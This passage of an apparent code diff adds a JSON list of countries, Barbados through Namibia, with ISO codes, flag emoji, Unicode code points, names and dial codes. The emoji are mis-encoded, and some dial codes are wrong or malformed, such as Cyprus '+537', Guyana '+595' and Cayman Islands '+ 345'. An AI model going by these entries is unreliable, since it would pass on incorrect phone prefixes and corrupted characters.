+ "dialCode": "+1 246"
+ },
+ {
+ "code": "BD",
+ "emoji": "๐ง๐ฉ",
+ "unicode": "U+1F1E7 U+1F1E9",
+ "name": "Bangladesh",
+ "title": "flag for Bangladesh",
+ "dialCode": "+880"
+ },
+ {
+ "code": "BE",
+ "emoji": "๐ง๐ช",
+ "unicode": "U+1F1E7 U+1F1EA",
+ "name": "Belgium",
+ "title": "flag for Belgium",
+ "dialCode": "+32"
+ },
+ {
+ "code": "BF",
+ "emoji": "๐ง๐ซ",
+ "unicode": "U+1F1E7 U+1F1EB",
+ "name": "Burkina Faso",
+ "title": "flag for Burkina Faso",
+ "dialCode": "+226"
+ },
+ {
+ "code": "BG",
+ "emoji": "๐ง๐ฌ",
+ "unicode": "U+1F1E7 U+1F1EC",
+ "name": "Bulgaria",
+ "title": "flag for Bulgaria",
+ "dialCode": "+359"
+ },
+ {
+ "code": "BH",
+ "emoji": "๐ง๐ญ",
+ "unicode": "U+1F1E7 U+1F1ED",
+ "name": "Bahrain",
+ "title": "flag for Bahrain",
+ "dialCode": "+973"
+ },
+ {
+ "code": "BI",
+ "emoji": "๐ง๐ฎ",
+ "unicode": "U+1F1E7 U+1F1EE",
+ "name": "Burundi",
+ "title": "flag for Burundi",
+ "dialCode": "+257"
+ },
+ {
+ "code": "BJ",
+ "emoji": "๐ง๐ฏ",
+ "unicode": "U+1F1E7 U+1F1EF",
+ "name": "Benin",
+ "title": "flag for Benin",
+ "dialCode": "+229"
+ },
+ {
+ "code": "BL",
+ "emoji": "๐ง๐ฑ",
+ "unicode": "U+1F1E7 U+1F1F1",
+ "name": "Saint Barthรฉlemy",
+ "title": "flag for Saint Barthรฉlemy",
+ "dialCode": "+590"
+ },
+ {
+ "code": "BM",
+ "emoji": "๐ง๐ฒ",
+ "unicode": "U+1F1E7 U+1F1F2",
+ "name": "Bermuda",
+ "title": "flag for Bermuda",
+ "dialCode": "+1 441"
+ },
+ {
+ "code": "BN",
+ "emoji": "๐ง๐ณ",
+ "unicode": "U+1F1E7 U+1F1F3",
+ "name": "Brunei Darussalam",
+ "title": "flag for Brunei Darussalam",
+ "dialCode": "+673"
+ },
+ {
+ "code": "BO",
+ "emoji": "๐ง๐ด",
+ "unicode": "U+1F1E7 U+1F1F4",
+ "name": "Bolivia",
+ "title": "flag for Bolivia",
+ "dialCode": "+591"
+ },
+ {
+ "code": "BQ",
+ "emoji": "๐ง๐ถ",
+ "unicode": "U+1F1E7 U+1F1F6",
+ "name": "Bonaire, Sint Eustatius and Saba",
+ "title": "flag for Bonaire, Sint Eustatius and Saba"
+ },
+ {
+ "code": "BR",
+ "emoji": "๐ง๐ท",
+ "unicode": "U+1F1E7 U+1F1F7",
+ "name": "Brazil",
+ "title": "flag for Brazil",
+ "dialCode": "+55"
+ },
+ {
+ "code": "BS",
+ "emoji": "๐ง๐ธ",
+ "unicode": "U+1F1E7 U+1F1F8",
+ "name": "Bahamas",
+ "title": "flag for Bahamas",
+ "dialCode": "+1 242"
+ },
+ {
+ "code": "BT",
+ "emoji": "๐ง๐น",
+ "unicode": "U+1F1E7 U+1F1F9",
+ "name": "Bhutan",
+ "title": "flag for Bhutan",
+ "dialCode": "+975"
+ },
+ {
+ "code": "BV",
+ "emoji": "๐ง๐ป",
+ "unicode": "U+1F1E7 U+1F1FB",
+ "name": "Bouvet Island",
+ "title": "flag for Bouvet Island"
+ },
+ {
+ "code": "BW",
+ "emoji": "๐ง๐ผ",
+ "unicode": "U+1F1E7 U+1F1FC",
+ "name": "Botswana",
+ "title": "flag for Botswana",
+ "dialCode": "+267"
+ },
+ {
+ "code": "BY",
+ "emoji": "๐ง๐พ",
+ "unicode": "U+1F1E7 U+1F1FE",
+ "name": "Belarus",
+ "title": "flag for Belarus",
+ "dialCode": "+375"
+ },
+ {
+ "code": "BZ",
+ "emoji": "๐ง๐ฟ",
+ "unicode": "U+1F1E7 U+1F1FF",
+ "name": "Belize",
+ "title": "flag for Belize",
+ "dialCode": "+501"
+ },
+ {
+ "code": "CA",
+ "emoji": "๐จ๐ฆ",
+ "unicode": "U+1F1E8 U+1F1E6",
+ "name": "Canada",
+ "title": "flag for Canada",
+ "dialCode": "+1"
+ },
+ {
+ "code": "CC",
+ "emoji": "๐จ๐จ",
+ "unicode": "U+1F1E8 U+1F1E8",
+ "name": "Cocos (Keeling) Islands",
+ "title": "flag for Cocos (Keeling) Islands",
+ "dialCode": "+61"
+ },
+ {
+ "code": "CD",
+ "emoji": "๐จ๐ฉ",
+ "unicode": "U+1F1E8 U+1F1E9",
+ "name": "Congo",
+ "title": "flag for Congo",
+ "dialCode": "+243"
+ },
+ {
+ "code": "CF",
+ "emoji": "๐จ๐ซ",
+ "unicode": "U+1F1E8 U+1F1EB",
+ "name": "Central African Republic",
+ "title": "flag for Central African Republic",
+ "dialCode": "+236"
+ },
+ {
+ "code": "CG",
+ "emoji": "๐จ๐ฌ",
+ "unicode": "U+1F1E8 U+1F1EC",
+ "name": "Congo",
+ "title": "flag for Congo",
+ "dialCode": "+242"
+ },
+ {
+ "code": "CH",
+ "emoji": "๐จ๐ญ",
+ "unicode": "U+1F1E8 U+1F1ED",
+ "name": "Switzerland",
+ "title": "flag for Switzerland",
+ "dialCode": "+41"
+ },
+ {
+ "code": "CI",
+ "emoji": "๐จ๐ฎ",
+ "unicode": "U+1F1E8 U+1F1EE",
+ "name": "Cรดte D'Ivoire",
+ "title": "flag for Cรดte D'Ivoire",
+ "dialCode": "+225"
+ },
+ {
+ "code": "CK",
+ "emoji": "๐จ๐ฐ",
+ "unicode": "U+1F1E8 U+1F1F0",
+ "name": "Cook Islands",
+ "title": "flag for Cook Islands",
+ "dialCode": "+682"
+ },
+ {
+ "code": "CL",
+ "emoji": "๐จ๐ฑ",
+ "unicode": "U+1F1E8 U+1F1F1",
+ "name": "Chile",
+ "title": "flag for Chile",
+ "dialCode": "+56"
+ },
+ {
+ "code": "CM",
+ "emoji": "๐จ๐ฒ",
+ "unicode": "U+1F1E8 U+1F1F2",
+ "name": "Cameroon",
+ "title": "flag for Cameroon",
+ "dialCode": "+237"
+ },
+ {
+ "code": "CN",
+ "emoji": "๐จ๐ณ",
+ "unicode": "U+1F1E8 U+1F1F3",
+ "name": "China",
+ "title": "flag for China",
+ "dialCode": "+86"
+ },
+ {
+ "code": "CO",
+ "emoji": "๐จ๐ด",
+ "unicode": "U+1F1E8 U+1F1F4",
+ "name": "Colombia",
+ "title": "flag for Colombia",
+ "dialCode": "+57"
+ },
+ {
+ "code": "CR",
+ "emoji": "๐จ๐ท",
+ "unicode": "U+1F1E8 U+1F1F7",
+ "name": "Costa Rica",
+ "title": "flag for Costa Rica",
+ "dialCode": "+506"
+ },
+ {
+ "code": "CU",
+ "emoji": "๐จ๐บ",
+ "unicode": "U+1F1E8 U+1F1FA",
+ "name": "Cuba",
+ "title": "flag for Cuba",
+ "dialCode": "+53"
+ },
+ {
+ "code": "CV",
+ "emoji": "๐จ๐ป",
+ "unicode": "U+1F1E8 U+1F1FB",
+ "name": "Cape Verde",
+ "title": "flag for Cape Verde",
+ "dialCode": "+238"
+ },
+ {
+ "code": "CW",
+ "emoji": "๐จ๐ผ",
+ "unicode": "U+1F1E8 U+1F1FC",
+ "name": "Curaรงao",
+ "title": "flag for Curaรงao"
+ },
+ {
+ "code": "CX",
+ "emoji": "๐จ๐ฝ",
+ "unicode": "U+1F1E8 U+1F1FD",
+ "name": "Christmas Island",
+ "title": "flag for Christmas Island",
+ "dialCode": "+61"
+ },
+ {
+ "code": "CY",
+ "emoji": "๐จ๐พ",
+ "unicode": "U+1F1E8 U+1F1FE",
+ "name": "Cyprus",
+ "title": "flag for Cyprus",
+ "dialCode": "+537"
+ },
+ {
+ "code": "CZ",
+ "emoji": "๐จ๐ฟ",
+ "unicode": "U+1F1E8 U+1F1FF",
+ "name": "Czech Republic",
+ "title": "flag for Czech Republic",
+ "dialCode": "+420"
+ },
+ {
+ "code": "DE",
+ "emoji": "๐ฉ๐ช",
+ "unicode": "U+1F1E9 U+1F1EA",
+ "name": "Germany",
+ "title": "flag for Germany",
+ "dialCode": "+49"
+ },
+ {
+ "code": "DJ",
+ "emoji": "๐ฉ๐ฏ",
+ "unicode": "U+1F1E9 U+1F1EF",
+ "name": "Djibouti",
+ "title": "flag for Djibouti",
+ "dialCode": "+253"
+ },
+ {
+ "code": "DK",
+ "emoji": "๐ฉ๐ฐ",
+ "unicode": "U+1F1E9 U+1F1F0",
+ "name": "Denmark",
+ "title": "flag for Denmark",
+ "dialCode": "+45"
+ },
+ {
+ "code": "DM",
+ "emoji": "๐ฉ๐ฒ",
+ "unicode": "U+1F1E9 U+1F1F2",
+ "name": "Dominica",
+ "title": "flag for Dominica",
+ "dialCode": "+1 767"
+ },
+ {
+ "code": "DO",
+ "emoji": "๐ฉ๐ด",
+ "unicode": "U+1F1E9 U+1F1F4",
+ "name": "Dominican Republic",
+ "title": "flag for Dominican Republic",
+ "dialCode": "+1 849"
+ },
+ {
+ "code": "DZ",
+ "emoji": "๐ฉ๐ฟ",
+ "unicode": "U+1F1E9 U+1F1FF",
+ "name": "Algeria",
+ "title": "flag for Algeria",
+ "dialCode": "+213"
+ },
+ {
+ "code": "EC",
+ "emoji": "๐ช๐จ",
+ "unicode": "U+1F1EA U+1F1E8",
+ "name": "Ecuador",
+ "title": "flag for Ecuador",
+ "dialCode": "+593"
+ },
+ {
+ "code": "EE",
+ "emoji": "๐ช๐ช",
+ "unicode": "U+1F1EA U+1F1EA",
+ "name": "Estonia",
+ "title": "flag for Estonia",
+ "dialCode": "+372"
+ },
+ {
+ "code": "EG",
+ "emoji": "๐ช๐ฌ",
+ "unicode": "U+1F1EA U+1F1EC",
+ "name": "Egypt",
+ "title": "flag for Egypt",
+ "dialCode": "+20"
+ },
+ {
+ "code": "EH",
+ "emoji": "๐ช๐ญ",
+ "unicode": "U+1F1EA U+1F1ED",
+ "name": "Western Sahara",
+ "title": "flag for Western Sahara"
+ },
+ {
+ "code": "ER",
+ "emoji": "๐ช๐ท",
+ "unicode": "U+1F1EA U+1F1F7",
+ "name": "Eritrea",
+ "title": "flag for Eritrea",
+ "dialCode": "+291"
+ },
+ {
+ "code": "ES",
+ "emoji": "๐ช๐ธ",
+ "unicode": "U+1F1EA U+1F1F8",
+ "name": "Spain",
+ "title": "flag for Spain",
+ "dialCode": "+34"
+ },
+ {
+ "code": "ET",
+ "emoji": "๐ช๐น",
+ "unicode": "U+1F1EA U+1F1F9",
+ "name": "Ethiopia",
+ "title": "flag for Ethiopia",
+ "dialCode": "+251"
+ },
+ {
+ "code": "EU",
+ "emoji": "๐ช๐บ",
+ "unicode": "U+1F1EA U+1F1FA",
+ "name": "European Union",
+ "title": "flag for European Union"
+ },
+ {
+ "code": "FI",
+ "emoji": "๐ซ๐ฎ",
+ "unicode": "U+1F1EB U+1F1EE",
+ "name": "Finland",
+ "title": "flag for Finland",
+ "dialCode": "+358"
+ },
+ {
+ "code": "FJ",
+ "emoji": "๐ซ๐ฏ",
+ "unicode": "U+1F1EB U+1F1EF",
+ "name": "Fiji",
+ "title": "flag for Fiji",
+ "dialCode": "+679"
+ },
+ {
+ "code": "FK",
+ "emoji": "๐ซ๐ฐ",
+ "unicode": "U+1F1EB U+1F1F0",
+ "name": "Falkland Islands (Malvinas)",
+ "title": "flag for Falkland Islands (Malvinas)",
+ "dialCode": "+500"
+ },
+ {
+ "code": "FM",
+ "emoji": "๐ซ๐ฒ",
+ "unicode": "U+1F1EB U+1F1F2",
+ "name": "Micronesia",
+ "title": "flag for Micronesia",
+ "dialCode": "+691"
+ },
+ {
+ "code": "FO",
+ "emoji": "๐ซ๐ด",
+ "unicode": "U+1F1EB U+1F1F4",
+ "name": "Faroe Islands",
+ "title": "flag for Faroe Islands",
+ "dialCode": "+298"
+ },
+ {
+ "code": "FR",
+ "emoji": "๐ซ๐ท",
+ "unicode": "U+1F1EB U+1F1F7",
+ "name": "France",
+ "title": "flag for France",
+ "dialCode": "+33"
+ },
+ {
+ "code": "GA",
+ "emoji": "๐ฌ๐ฆ",
+ "unicode": "U+1F1EC U+1F1E6",
+ "name": "Gabon",
+ "title": "flag for Gabon",
+ "dialCode": "+241"
+ },
+ {
+ "code": "GB",
+ "emoji": "๐ฌ๐ง",
+ "unicode": "U+1F1EC U+1F1E7",
+ "name": "United Kingdom",
+ "title": "flag for United Kingdom",
+ "dialCode": "+44"
+ },
+ {
+ "code": "GD",
+ "emoji": "๐ฌ๐ฉ",
+ "unicode": "U+1F1EC U+1F1E9",
+ "name": "Grenada",
+ "title": "flag for Grenada",
+ "dialCode": "+1 473"
+ },
+ {
+ "code": "GE",
+ "emoji": "๐ฌ๐ช",
+ "unicode": "U+1F1EC U+1F1EA",
+ "name": "Georgia",
+ "title": "flag for Georgia",
+ "dialCode": "+995"
+ },
+ {
+ "code": "GF",
+ "emoji": "๐ฌ๐ซ",
+ "unicode": "U+1F1EC U+1F1EB",
+ "name": "French Guiana",
+ "title": "flag for French Guiana",
+ "dialCode": "+594"
+ },
+ {
+ "code": "GG",
+ "emoji": "๐ฌ๐ฌ",
+ "unicode": "U+1F1EC U+1F1EC",
+ "name": "Guernsey",
+ "title": "flag for Guernsey",
+ "dialCode": "+44"
+ },
+ {
+ "code": "GH",
+ "emoji": "๐ฌ๐ญ",
+ "unicode": "U+1F1EC U+1F1ED",
+ "name": "Ghana",
+ "title": "flag for Ghana",
+ "dialCode": "+233"
+ },
+ {
+ "code": "GI",
+ "emoji": "๐ฌ๐ฎ",
+ "unicode": "U+1F1EC U+1F1EE",
+ "name": "Gibraltar",
+ "title": "flag for Gibraltar",
+ "dialCode": "+350"
+ },
+ {
+ "code": "GL",
+ "emoji": "๐ฌ๐ฑ",
+ "unicode": "U+1F1EC U+1F1F1",
+ "name": "Greenland",
+ "title": "flag for Greenland",
+ "dialCode": "+299"
+ },
+ {
+ "code": "GM",
+ "emoji": "๐ฌ๐ฒ",
+ "unicode": "U+1F1EC U+1F1F2",
+ "name": "Gambia",
+ "title": "flag for Gambia",
+ "dialCode": "+220"
+ },
+ {
+ "code": "GN",
+ "emoji": "๐ฌ๐ณ",
+ "unicode": "U+1F1EC U+1F1F3",
+ "name": "Guinea",
+ "title": "flag for Guinea",
+ "dialCode": "+224"
+ },
+ {
+ "code": "GP",
+ "emoji": "๐ฌ๐ต",
+ "unicode": "U+1F1EC U+1F1F5",
+ "name": "Guadeloupe",
+ "title": "flag for Guadeloupe",
+ "dialCode": "+590"
+ },
+ {
+ "code": "GQ",
+ "emoji": "๐ฌ๐ถ",
+ "unicode": "U+1F1EC U+1F1F6",
+ "name": "Equatorial Guinea",
+ "title": "flag for Equatorial Guinea",
+ "dialCode": "+240"
+ },
+ {
+ "code": "GR",
+ "emoji": "๐ฌ๐ท",
+ "unicode": "U+1F1EC U+1F1F7",
+ "name": "Greece",
+ "title": "flag for Greece",
+ "dialCode": "+30"
+ },
+ {
+ "code": "GS",
+ "emoji": "๐ฌ๐ธ",
+ "unicode": "U+1F1EC U+1F1F8",
+ "name": "South Georgia",
+ "title": "flag for South Georgia",
+ "dialCode": "+500"
+ },
+ {
+ "code": "GT",
+ "emoji": "๐ฌ๐น",
+ "unicode": "U+1F1EC U+1F1F9",
+ "name": "Guatemala",
+ "title": "flag for Guatemala",
+ "dialCode": "+502"
+ },
+ {
+ "code": "GU",
+ "emoji": "๐ฌ๐บ",
+ "unicode": "U+1F1EC U+1F1FA",
+ "name": "Guam",
+ "title": "flag for Guam",
+ "dialCode": "+1 671"
+ },
+ {
+ "code": "GW",
+ "emoji": "๐ฌ๐ผ",
+ "unicode": "U+1F1EC U+1F1FC",
+ "name": "Guinea-Bissau",
+ "title": "flag for Guinea-Bissau",
+ "dialCode": "+245"
+ },
+ {
+ "code": "GY",
+ "emoji": "๐ฌ๐พ",
+ "unicode": "U+1F1EC U+1F1FE",
+ "name": "Guyana",
+ "title": "flag for Guyana",
+ "dialCode": "+595"
+ },
+ {
+ "code": "HK",
+ "emoji": "๐ญ๐ฐ",
+ "unicode": "U+1F1ED U+1F1F0",
+ "name": "Hong Kong",
+ "title": "flag for Hong Kong",
+ "dialCode": "+852"
+ },
+ {
+ "code": "HM",
+ "emoji": "๐ญ๐ฒ",
+ "unicode": "U+1F1ED U+1F1F2",
+ "name": "Heard Island and Mcdonald Islands",
+ "title": "flag for Heard Island and Mcdonald Islands"
+ },
+ {
+ "code": "HN",
+ "emoji": "๐ญ๐ณ",
+ "unicode": "U+1F1ED U+1F1F3",
+ "name": "Honduras",
+ "title": "flag for Honduras",
+ "dialCode": "+504"
+ },
+ {
+ "code": "HR",
+ "emoji": "๐ญ๐ท",
+ "unicode": "U+1F1ED U+1F1F7",
+ "name": "Croatia",
+ "title": "flag for Croatia",
+ "dialCode": "+385"
+ },
+ {
+ "code": "HT",
+ "emoji": "๐ญ๐น",
+ "unicode": "U+1F1ED U+1F1F9",
+ "name": "Haiti",
+ "title": "flag for Haiti",
+ "dialCode": "+509"
+ },
+ {
+ "code": "HU",
+ "emoji": "๐ญ๐บ",
+ "unicode": "U+1F1ED U+1F1FA",
+ "name": "Hungary",
+ "title": "flag for Hungary",
+ "dialCode": "+36"
+ },
+ {
+ "code": "ID",
+ "emoji": "๐ฎ๐ฉ",
+ "unicode": "U+1F1EE U+1F1E9",
+ "name": "Indonesia",
+ "title": "flag for Indonesia",
+ "dialCode": "+62"
+ },
+ {
+ "code": "IE",
+ "emoji": "๐ฎ๐ช",
+ "unicode": "U+1F1EE U+1F1EA",
+ "name": "Ireland",
+ "title": "flag for Ireland",
+ "dialCode": "+353"
+ },
+ {
+ "code": "IL",
+ "emoji": "๐ฎ๐ฑ",
+ "unicode": "U+1F1EE U+1F1F1",
+ "name": "Israel",
+ "title": "flag for Israel",
+ "dialCode": "+972"
+ },
+ {
+ "code": "IM",
+ "emoji": "๐ฎ๐ฒ",
+ "unicode": "U+1F1EE U+1F1F2",
+ "name": "Isle of Man",
+ "title": "flag for Isle of Man",
+ "dialCode": "+44"
+ },
+ {
+ "code": "IN",
+ "emoji": "๐ฎ๐ณ",
+ "unicode": "U+1F1EE U+1F1F3",
+ "name": "India",
+ "title": "flag for India",
+ "dialCode": "+91"
+ },
+ {
+ "code": "IO",
+ "emoji": "๐ฎ๐ด",
+ "unicode": "U+1F1EE U+1F1F4",
+ "name": "British Indian Ocean Territory",
+ "title": "flag for British Indian Ocean Territory",
+ "dialCode": "+246"
+ },
+ {
+ "code": "IQ",
+ "emoji": "๐ฎ๐ถ",
+ "unicode": "U+1F1EE U+1F1F6",
+ "name": "Iraq",
+ "title": "flag for Iraq",
+ "dialCode": "+964"
+ },
+ {
+ "code": "IR",
+ "emoji": "๐ฎ๐ท",
+ "unicode": "U+1F1EE U+1F1F7",
+ "name": "Iran",
+ "title": "flag for Iran",
+ "dialCode": "+98"
+ },
+ {
+ "code": "IS",
+ "emoji": "๐ฎ๐ธ",
+ "unicode": "U+1F1EE U+1F1F8",
+ "name": "Iceland",
+ "title": "flag for Iceland",
+ "dialCode": "+354"
+ },
+ {
+ "code": "IT",
+ "emoji": "๐ฎ๐น",
+ "unicode": "U+1F1EE U+1F1F9",
+ "name": "Italy",
+ "title": "flag for Italy",
+ "dialCode": "+39"
+ },
+ {
+ "code": "JE",
+ "emoji": "๐ฏ๐ช",
+ "unicode": "U+1F1EF U+1F1EA",
+ "name": "Jersey",
+ "title": "flag for Jersey",
+ "dialCode": "+44"
+ },
+ {
+ "code": "JM",
+ "emoji": "๐ฏ๐ฒ",
+ "unicode": "U+1F1EF U+1F1F2",
+ "name": "Jamaica",
+ "title": "flag for Jamaica",
+ "dialCode": "+1 876"
+ },
+ {
+ "code": "JO",
+ "emoji": "๐ฏ๐ด",
+ "unicode": "U+1F1EF U+1F1F4",
+ "name": "Jordan",
+ "title": "flag for Jordan",
+ "dialCode": "+962"
+ },
+ {
+ "code": "JP",
+ "emoji": "๐ฏ๐ต",
+ "unicode": "U+1F1EF U+1F1F5",
+ "name": "Japan",
+ "title": "flag for Japan",
+ "dialCode": "+81"
+ },
+ {
+ "code": "KE",
+ "emoji": "๐ฐ๐ช",
+ "unicode": "U+1F1F0 U+1F1EA",
+ "name": "Kenya",
+ "title": "flag for Kenya",
+ "dialCode": "+254"
+ },
+ {
+ "code": "KG",
+ "emoji": "๐ฐ๐ฌ",
+ "unicode": "U+1F1F0 U+1F1EC",
+ "name": "Kyrgyzstan",
+ "title": "flag for Kyrgyzstan",
+ "dialCode": "+996"
+ },
+ {
+ "code": "KH",
+ "emoji": "๐ฐ๐ญ",
+ "unicode": "U+1F1F0 U+1F1ED",
+ "name": "Cambodia",
+ "title": "flag for Cambodia",
+ "dialCode": "+855"
+ },
+ {
+ "code": "KI",
+ "emoji": "๐ฐ๐ฎ",
+ "unicode": "U+1F1F0 U+1F1EE",
+ "name": "Kiribati",
+ "title": "flag for Kiribati",
+ "dialCode": "+686"
+ },
+ {
+ "code": "KM",
+ "emoji": "๐ฐ๐ฒ",
+ "unicode": "U+1F1F0 U+1F1F2",
+ "name": "Comoros",
+ "title": "flag for Comoros",
+ "dialCode": "+269"
+ },
+ {
+ "code": "KN",
+ "emoji": "๐ฐ๐ณ",
+ "unicode": "U+1F1F0 U+1F1F3",
+ "name": "Saint Kitts and Nevis",
+ "title": "flag for Saint Kitts and Nevis",
+ "dialCode": "+1 869"
+ },
+ {
+ "code": "KP",
+ "emoji": "๐ฐ๐ต",
+ "unicode": "U+1F1F0 U+1F1F5",
+ "name": "North Korea",
+ "title": "flag for North Korea",
+ "dialCode": "+850"
+ },
+ {
+ "code": "KR",
+ "emoji": "๐ฐ๐ท",
+ "unicode": "U+1F1F0 U+1F1F7",
+ "name": "South Korea",
+ "title": "flag for South Korea",
+ "dialCode": "+82"
+ },
+ {
+ "code": "KW",
+ "emoji": "๐ฐ๐ผ",
+ "unicode": "U+1F1F0 U+1F1FC",
+ "name": "Kuwait",
+ "title": "flag for Kuwait",
+ "dialCode": "+965"
+ },
+ {
+ "code": "KY",
+ "emoji": "๐ฐ๐พ",
+ "unicode": "U+1F1F0 U+1F1FE",
+ "name": "Cayman Islands",
+ "title": "flag for Cayman Islands",
+ "dialCode": "+ 345"
+ },
+ {
+ "code": "KZ",
+ "emoji": "๐ฐ๐ฟ",
+ "unicode": "U+1F1F0 U+1F1FF",
+ "name": "Kazakhstan",
+ "title": "flag for Kazakhstan",
+ "dialCode": "+7 7"
+ },
+ {
+ "code": "LA",
+ "emoji": "๐ฑ๐ฆ",
+ "unicode": "U+1F1F1 U+1F1E6",
+ "name": "Lao People's Democratic Republic",
+ "title": "flag for Lao People's Democratic Republic",
+ "dialCode": "+856"
+ },
+ {
+ "code": "LB",
+ "emoji": "๐ฑ๐ง",
+ "unicode": "U+1F1F1 U+1F1E7",
+ "name": "Lebanon",
+ "title": "flag for Lebanon",
+ "dialCode": "+961"
+ },
+ {
+ "code": "LC",
+ "emoji": "๐ฑ๐จ",
+ "unicode": "U+1F1F1 U+1F1E8",
+ "name": "Saint Lucia",
+ "title": "flag for Saint Lucia",
+ "dialCode": "+1 758"
+ },
+ {
+ "code": "LI",
+ "emoji": "๐ฑ๐ฎ",
+ "unicode": "U+1F1F1 U+1F1EE",
+ "name": "Liechtenstein",
+ "title": "flag for Liechtenstein",
+ "dialCode": "+423"
+ },
+ {
+ "code": "LK",
+ "emoji": "๐ฑ๐ฐ",
+ "unicode": "U+1F1F1 U+1F1F0",
+ "name": "Sri Lanka",
+ "title": "flag for Sri Lanka",
+ "dialCode": "+94"
+ },
+ {
+ "code": "LR",
+ "emoji": "๐ฑ๐ท",
+ "unicode": "U+1F1F1 U+1F1F7",
+ "name": "Liberia",
+ "title": "flag for Liberia",
+ "dialCode": "+231"
+ },
+ {
+ "code": "LS",
+ "emoji": "๐ฑ๐ธ",
+ "unicode": "U+1F1F1 U+1F1F8",
+ "name": "Lesotho",
+ "title": "flag for Lesotho",
+ "dialCode": "+266"
+ },
+ {
+ "code": "LT",
+ "emoji": "๐ฑ๐น",
+ "unicode": "U+1F1F1 U+1F1F9",
+ "name": "Lithuania",
+ "title": "flag for Lithuania",
+ "dialCode": "+370"
+ },
+ {
+ "code": "LU",
+ "emoji": "๐ฑ๐บ",
+ "unicode": "U+1F1F1 U+1F1FA",
+ "name": "Luxembourg",
+ "title": "flag for Luxembourg",
+ "dialCode": "+352"
+ },
+ {
+ "code": "LV",
+ "emoji": "๐ฑ๐ป",
+ "unicode": "U+1F1F1 U+1F1FB",
+ "name": "Latvia",
+ "title": "flag for Latvia",
+ "dialCode": "+371"
+ },
+ {
+ "code": "LY",
+ "emoji": "๐ฑ๐พ",
+ "unicode": "U+1F1F1 U+1F1FE",
+ "name": "Libya",
+ "title": "flag for Libya",
+ "dialCode": "+218"
+ },
+ {
+ "code": "MA",
+ "emoji": "๐ฒ๐ฆ",
+ "unicode": "U+1F1F2 U+1F1E6",
+ "name": "Morocco",
+ "title": "flag for Morocco",
+ "dialCode": "+212"
+ },
+ {
+ "code": "MC",
+ "emoji": "๐ฒ๐จ",
+ "unicode": "U+1F1F2 U+1F1E8",
+ "name": "Monaco",
+ "title": "flag for Monaco",
+ "dialCode": "+377"
+ },
+ {
+ "code": "MD",
+ "emoji": "๐ฒ๐ฉ",
+ "unicode": "U+1F1F2 U+1F1E9",
+ "name": "Moldova",
+ "title": "flag for Moldova",
+ "dialCode": "+373"
+ },
+ {
+ "code": "ME",
+ "emoji": "๐ฒ๐ช",
+ "unicode": "U+1F1F2 U+1F1EA",
+ "name": "Montenegro",
+ "title": "flag for Montenegro",
+ "dialCode": "+382"
+ },
+ {
+ "code": "MF",
+ "emoji": "๐ฒ๐ซ",
+ "unicode": "U+1F1F2 U+1F1EB",
+ "name": "Saint Martin (French Part)",
+ "title": "flag for Saint Martin (French Part)",
+ "dialCode": "+590"
+ },
+ {
+ "code": "MG",
+ "emoji": "๐ฒ๐ฌ",
+ "unicode": "U+1F1F2 U+1F1EC",
+ "name": "Madagascar",
+ "title": "flag for Madagascar",
+ "dialCode": "+261"
+ },
+ {
+ "code": "MH",
+ "emoji": "๐ฒ๐ญ",
+ "unicode": "U+1F1F2 U+1F1ED",
+ "name": "Marshall Islands",
+ "title": "flag for Marshall Islands",
+ "dialCode": "+692"
+ },
+ {
+ "code": "MK",
+ "emoji": "๐ฒ๐ฐ",
+ "unicode": "U+1F1F2 U+1F1F0",
+ "name": "Macedonia",
+ "title": "flag for Macedonia",
+ "dialCode": "+389"
+ },
+ {
+ "code": "ML",
+ "emoji": "๐ฒ๐ฑ",
+ "unicode": "U+1F1F2 U+1F1F1",
+ "name": "Mali",
+ "title": "flag for Mali",
+ "dialCode": "+223"
+ },
+ {
+ "code": "MM",
+ "emoji": "๐ฒ๐ฒ",
+ "unicode": "U+1F1F2 U+1F1F2",
+ "name": "Myanmar",
+ "title": "flag for Myanmar",
+ "dialCode": "+95"
+ },
+ {
+ "code": "MN",
+ "emoji": "๐ฒ๐ณ",
+ "unicode": "U+1F1F2 U+1F1F3",
+ "name": "Mongolia",
+ "title": "flag for Mongolia",
+ "dialCode": "+976"
+ },
+ {
+ "code": "MO",
+ "emoji": "๐ฒ๐ด",
+ "unicode": "U+1F1F2 U+1F1F4",
+ "name": "Macao",
+ "title": "flag for Macao",
+ "dialCode": "+853"
+ },
+ {
+ "code": "MP",
+ "emoji": "๐ฒ๐ต",
+ "unicode": "U+1F1F2 U+1F1F5",
+ "name": "Northern Mariana Islands",
+ "title": "flag for Northern Mariana Islands",
+ "dialCode": "+1 670"
+ },
+ {
+ "code": "MQ",
+ "emoji": "๐ฒ๐ถ",
+ "unicode": "U+1F1F2 U+1F1F6",
+ "name": "Martinique",
+ "title": "flag for Martinique",
+ "dialCode": "+596"
+ },
+ {
+ "code": "MR",
+ "emoji": "๐ฒ๐ท",
+ "unicode": "U+1F1F2 U+1F1F7",
+ "name": "Mauritania",
+ "title": "flag for Mauritania",
+ "dialCode": "+222"
+ },
+ {
+ "code": "MS",
+ "emoji": "๐ฒ๐ธ",
+ "unicode": "U+1F1F2 U+1F1F8",
+ "name": "Montserrat",
+ "title": "flag for Montserrat",
+ "dialCode": "+1664"
+ },
+ {
+ "code": "MT",
+ "emoji": "๐ฒ๐น",
+ "unicode": "U+1F1F2 U+1F1F9",
+ "name": "Malta",
+ "title": "flag for Malta",
+ "dialCode": "+356"
+ },
+ {
+ "code": "MU",
+ "emoji": "๐ฒ๐บ",
+ "unicode": "U+1F1F2 U+1F1FA",
+ "name": "Mauritius",
+ "title": "flag for Mauritius",
+ "dialCode": "+230"
+ },
+ {
+ "code": "MV",
+ "emoji": "๐ฒ๐ป",
+ "unicode": "U+1F1F2 U+1F1FB",
+ "name": "Maldives",
+ "title": "flag for Maldives",
+ "dialCode": "+960"
+ },
+ {
+ "code": "MW",
+ "emoji": "๐ฒ๐ผ",
+ "unicode": "U+1F1F2 U+1F1FC",
+ "name": "Malawi",
+ "title": "flag for Malawi",
+ "dialCode": "+265"
+ },
+ {
+ "code": "MX",
+ "emoji": "๐ฒ๐ฝ",
+ "unicode": "U+1F1F2 U+1F1FD",
+ "name": "Mexico",
+ "title": "flag for Mexico",
+ "dialCode": "+52"
+ },
+ {
+ "code": "MY",
+ "emoji": "๐ฒ๐พ",
+ "unicode": "U+1F1F2 U+1F1FE",
+ "name": "Malaysia",
+ "title": "flag for Malaysia",
+ "dialCode": "+60"
+ },
+ {
+ "code": "MZ",
+ "emoji": "๐ฒ๐ฟ",
+ "unicode": "U+1F1F2 U+1F1FF",
+ "name": "Mozambique",
+ "title": "flag for Mozambique",
+ "dialCode": "+258"
+ },
+ {
+ "code": "NA",
+ "emoji": "๐ณ๐ฆ",
